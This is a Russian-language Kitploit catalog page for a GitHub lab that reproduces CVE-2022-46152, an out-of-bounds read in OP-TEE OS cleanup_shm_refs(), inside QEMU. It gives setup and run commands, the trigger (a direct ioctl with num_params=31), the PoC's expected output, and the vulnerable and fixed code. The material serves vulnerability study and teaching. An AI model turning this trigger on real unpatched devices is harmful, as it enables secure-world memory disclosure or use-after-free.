Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-46152 — CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function. | Kitploit
Инструменты/GitHubGitHub/0xbbdd/cve-2022-46152
Embedded Systems SecurityVulnerability AnalysisExploitationFuzzingCTFLearning & EducationBinary ExploitationLabs & Practice
GitHub0xbbdd/cve-2022-46152

CVE-2022-46152

CVE-2022-46152: Improper Validation of Array Index in the `cleanup_shm_refs' function.

Репозиторий
5 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-46152

OP-TEE OS cleanup_shm_refs() — Выход за границы чтения — Среда воспроизведения

Ссылка: https://optee.readthedocs.io/en/latest/building/devices/qemu.html#qemu-v8
Уведомление безопасности: https://github.com/OP-TEE/optee_os/security/advisories/GHSA-65w8-6mrg-52g7


Обзор уязвимости

ПолеПодробности
Уязвимостьcleanup_shm_refs() не проверяет num_params (теоретически до 127; на практике ограничено 31 из-за TEE_MAX_ARG_SIZE=1024 в ioctl Linux TEE), в то время как saved_attr[] содержит всего 4 элемента
Затронутые версииOP-TEE OS < 3.19.0
Условие срабатыванияNormal World отправляет запрос INVOKE с num_params=31 через прямой ioctl (минуя ограничение в 4 параметра libteec)
ВлияниеЧтение за пределами границ данных стека Secure World; если остаточное значение стека соответствует типу TMEM, происходит Use-After-Free
Исправлениеcleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), ...) (коммит 728616b)

Структура каталогов

root@kitploit:~
CVE-2022-46152/
├── README.md                           # Этот файл (английский)
├── README.zh.md                        # Китайская версия
├── setup.sh                            # Настройка окружения одной командой
├── run_qemu.sh                         # Запуск QEMU
├── exploit.sh                          # Скрипт автоматического/ручного воспроизведения
├── cve-2022-46152-oob-emsg.patch       # Отладочный патч OP-TEE OS (entry_std.c OOB EMSG)
├── qemu-pflash-suppress-unimp-log.patch # Патч QEMU (подавление шумных логов pflash_write)
├── poc/
│   ├── cve_2022_46152.c               # Исходный код PoC (прямой ioctl в обход libteec)
│   └── Makefile                       # Makefile для кросс-компиляции
├── docs/
│   └── vulnerability_analysis.md      # Детальный технический анализ уязвимости
└── optee/                             # Окружение OP-TEE (создаётся setup.sh)
    ├── optee_os/                      # OP-TEE OS 3.18.0 (уязвимая версия)
    ├── build/                         # Система сборки (qemu_v8.mk)
    ├── linux/                         # Ядро Linux
    ├── buildroot/                     # Buildroot rootfs
    ├── trusted-firmware-a/            # TF-A v2.6
    ├── qemu/                          # QEMU v7.0.0 (исходники)
    └── out/bin/                       # Артефакты сборки
        ├── bl1.bin                    # TF-A BL1
        ├── Image                      # Образ ядра Linux
        └── rootfs.cpio.gz             # rootfs, содержащий PoC

Быстрый старт

1. Предварительные требования

root@kitploit:~
# Ubuntu/Debian
sudo apt-get install -y \
    repo git make python3 \
    aarch64-linux-gnu-gcc \
    device-tree-compiler \
    libglib2.0-dev libpixman-1-dev \
    netcat-openbsd expect

# Проверить
aarch64-linux-gnu-gcc --version
repo --version

2. Инициализация repo (следуя официальной документации)

root@kitploit:~
cd CVE-2022-46152
mkdir -p optee
cd optee
repo init -u https://github.com/OP-TEE/manifest.git -m qemu_v8.xml -b 3.18.0
cd ..

Примечание: Используйте тег 3.18.0. Эта версия содержит уязвимость CVE-2022-46152 и ещё не имеет исправления.

3. Одна команда для настройки и сборки (30–60 минут)

root@kitploit:~
./setup.sh

Этот скрипт:

  • Выполнит repo sync для загрузки всего исходного кода
  • Настроит тулчейн (пропускает загрузку, если optee/toolchains/ уже существует, иначе загружает автоматически)
  • Запустит make all для сборки TF-A, OP-TEE OS 3.18.0, Linux и Buildroot
  • Скомпилирует PoC-эксплоит и внедрит его в rootfs

4. Запуск окружения QEMU

root@kitploit:~
# Откройте три терминала:

# Терминал 1 — Запуск QEMU:
./run_qemu.sh --no-gdb

# Терминал 2 — Консоль Normal World (запускать после старта run_qemu.sh):
python3 optee/build/soc_term.py 54320

# Терминал 3 — Secure World (логи OP-TEE, запускать после старта run_qemu.sh):
python3 optee/build/soc_term.py 54321

Примечание: run_qemu.sh внутренне запускает soc_term.py в режиме сервера, слушая порты 54320/54321, а QEMU подключается как клиент. Приведённые выше команды — примеры для подключения к работающему экземпляру и обычно не требуют ручного запуска.

5. Воспроизведение уязвимости

root@kitploit:~
# В терминале Normal World (54320), после появления приглашения входа:
(none) login: root

# Запустите PoC
/root/cve_2022_46152

Ожидаемый вывод

Normal World (консоль Linux)

root@kitploit:~
=== CVE-2022-46152 PoC Exploit ===
OP-TEE cleanup_shm_refs() Out-of-Bounds Read
Затронуто: OP-TEE OS < 3.19.0

[+] Открыт /dev/tee0
[*] Открытие сессии с Hello World TA...
[+] Сессия открыта: id=2
[*] Срабатывание уязвимости: вызов с num_params=31
[*] saved_attr[] имеет всего 4 слота -> чтение 27 лишних слов стека за пределами
[*] Размер буфера: 1016 байт (ограничение TEE_MAX_ARG_SIZE: 1024)
[+] ioctl вернул: ret=0xffff0006 origin=0x3

[+] УЯЗВИМОСТЬ СРАБОТАЛА!
[+] TEE вернул TEE_ERROR_BAD_PARAMETERS (0xFFFF0006)
[+] entry_invoke_command() отклонил num_params=31,
[+] но cleanup_shm_refs(31, saved_attr[4], ...) выполнился за пределами!
[*] Проверьте UART Secure World (порт 54321) на наличие сбоев.

[*] Готово. Проверьте вывод Secure World UART на наличие признаков OOB/аварийного завершения.

Примечание: TEE_MAX_ARG_SIZE=1024 ограничивает один ioctl максимум 31 параметром (libteec ограничен 4). Даже с num_params=31 достаточно, чтобы вызвать выход за границы (чтение saved_attr[4..30], 27 элементов за пределами).

Secure World (журнал TEE Core OP-TEE)

root@kitploit:~
I/TC: OP-TEE version: 3.18.0 (...)
...
I/TA: Hello World!
E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! cleanup_shm_refs num_params=31 > TEE_NUM_PARAMS=4
D/TC:? 0 tee_ta_close_session:511 csess ... id 2
I/TA: Goodbye!

Строка предупреждения E/TC:? 0 entry_invoke_command:452 CVE-2022-46152: OOB! — это явный лог, добавленный в entry_std.c через патч cve-2022-46152-oob-emsg.patch для подтверждения пути срабатывания уязвимости. cleanup_shm_refs считывает 27 лишних элементов за пределами стека; если какое-либо остаточное значение стека соответствует типу TMEM, может быть вызван mobj_put() Use-After-Free.


Уязвимый и исправленный код

Уязвимая версия (3.18.0)

root@kitploit:~
/* core/tee/entry_std.c */
static TEE_Result entry_invoke_command(struct optee_msg_arg *arg)
{
    uint32_t saved_attr[TEE_NUM_PARAMS];   /* всего 4 слота! */
    ...
    res = copy_in_params(arg->params, arg->num_params, params, saved_attr);
    if (res != TEE_SUCCESS) {
        /* ❌ ОШИБКА: num_params может быть 127, чтение за пределами saved_attr[4..126] */
        cleanup_shm_refs(arg->num_params, saved_attr, arg->params);
        goto out;
    }
    ...
}

Исправленная версия (3.19.0, коммит 728616b)

root@kitploit:~
    if (res != TEE_SUCCESS) {
        /* ✅ ИСПРАВЛЕНИЕ: MIN(4, 127) = 4, больше нет выхода за границы */
        cleanup_shm_refs(MIN(TEE_NUM_PARAMS, num_params), saved_attr, arg->params);
        goto out;
    }

Краткая справка по командам

root@kitploit:~
# Настройка окружения
./setup.sh

# Запуск QEMU (с портом отладки GDB)
./run_qemu.sh

# Запуск QEMU (без ожидания GDB)
./run_qemu.sh --no-gdb

# Показать шаги ручного воспроизведения
./exploit.sh --manual

# Автоматическое воспроизведение (не нужны дополнительные терминалы, вывод в текущую оболочку)
./exploit.sh

# Подключение к консоли Normal World (после запуска run_qemu.sh)
python3 optee/build/soc_term.py 54320

# Подключение к журналу Secure World (после запуска run_qemu.sh)
python3 optee/build/soc_term.py 54321

# Отладка OP-TEE OS с GDB
aarch64-linux-gnu-gdb optee/optee_os/out/arm/core/tee.elf
(gdb) target remote localhost:1234
(gdb) c

Примечания к патчу QEMU

Этот репозиторий применяет патч qemu-pflash-suppress-unimp-log.patch поверх QEMU v7.0.0 для устранения следующего шумного вывода при запуске VM:

root@kitploit:~
pflash_write: Write to buffer emulation is flawed

Коренная причина

pflash_write() в hw/block/pflash_cfi01.c вызывает qemu_log_mask(LOG_UNIMP, ...) при обработке команды 0xe8 (Write to buffer) CFI pflash, записывая предупреждение о "нереализованном" функционале. Прошивка TF-A записывает данные в pflash во время загрузки, что приводит к срабатыванию этого пути и выводу сообщения при каждом запуске.

Содержание патча (hw/block/pflash_cfi01.c)

Удаляется вызов qemu_log_mask(LOG_UNIMP, ...) внутри ветки case 0xe8, при этом функциональная логика остаётся нетронутой.

Применение патча (опционально; уже интегрирован в optee/qemu/)

root@kitploit:~
cd optee/qemu
git apply ../../qemu-pflash-suppress-unimp-log.patch
cd build
make -j$(nproc) qemu-system-aarch64

Примечания к патчу OP-TEE OS

Этот репозиторий применяет отладочный патч cve-2022-46152-oob-emsg.patch поверх OP-TEE OS 3.18.0, чтобы при срабатывании уязвимости на UART Secure World выводилось явное предупреждение, что упрощает проверку воспроизведения.

Содержание патча (core/tee/entry_std.c)

  • Добавляет #include <trace.h>
  • В entry_invoke_command(), перед вызовом cleanup_shm_refs(), обнаруживает num_params > TEE_NUM_PARAMS и выводит CVE-2022-46152: OOB! cleanup_shm_refs num_params=N > TEE_NUM_PARAMS=4 с помощью EMSG()

⚠️ Этот патч предназначен только для отладки/демонстрации и не является исправлением безопасности. Настоящее исправление — в коммите 728616b.

Применение патча (опционально; уже интегрирован в optee/optee_os/)

root@kitploit:~
cd optee/optee_os
git apply ../../cve-2022-46152-oob-emsg.patch
cd ../../
make -C optee/build optee-os

Ссылки

  • Официальная документация OP-TEE QEMU v8
  • Уведомление безопасности GHSA-65w8-6mrg-52g7
  • Исправление в коммите 728616b
  • CVE-2022-46152 NVD
  • Репозиторий манифестов OP-TEE
Скачать инструмент